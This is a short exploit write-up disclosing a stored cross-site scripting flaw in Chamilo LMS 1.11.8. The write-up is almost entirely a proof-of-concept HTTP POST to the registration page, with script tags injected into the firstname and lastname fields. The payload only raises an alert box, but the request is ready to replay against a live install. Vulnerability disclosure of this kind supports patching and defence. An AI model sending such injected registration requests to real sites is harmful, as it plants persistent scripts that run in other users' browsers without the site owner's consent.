Chamilo LMS 1.11.8 firstname Cross Site Scripting

`# Exploit Title: Chamilo LMS 1.11.8 - 'firstname' Cross-Site Scripting  
# Author: Cakes  
# Discovery Date: 2018-10-06  
# Vendor Homepage: https://chamilo.org  
# Software Link: https://github.com/chamilo/chamilo-lms/releases/download/v1.11.8/chamilo-1.11.8-php5.zip  
# Tested Version: 1.11.8 for php5  
# Tested on OS: Kali Linux  
# CVE: N/A  
  
# Description:  
# Improper input validation on the Firstname and Lastname fields allow attackers to add a persistent   
# Cross-Site scripting attack when registering as a new user  
# Simply intercept a new registration request and add in the XSS in the firstname / lastname fields.  
  
# I'm sure there are more exploit vectors on this software. No time to check, had to move along.  
  
# PoC  
  
POST /chamillo/main/auth/inscription.php HTTP/1.1  
Host: 10.0.0.16  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
DNT: 1  
Referer: http://10.0.0.16/chamillo/main/auth/inscription.php  
Cookie: ch_sid=ac092r01e7cnoco62rejshocq4  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 213  
  
status=5&firstname=<script>alert("Cakes");</script>&lastname=<script>alert("Cakes");</script>&email=cakes%40testers.com&username=cakez&pass1=123456&pass2=123456&phone=&language=english&official_code=&extra_skype=&extra_linkedin_url=&submit=&_qf__registration=&item_id=0  
  
  
`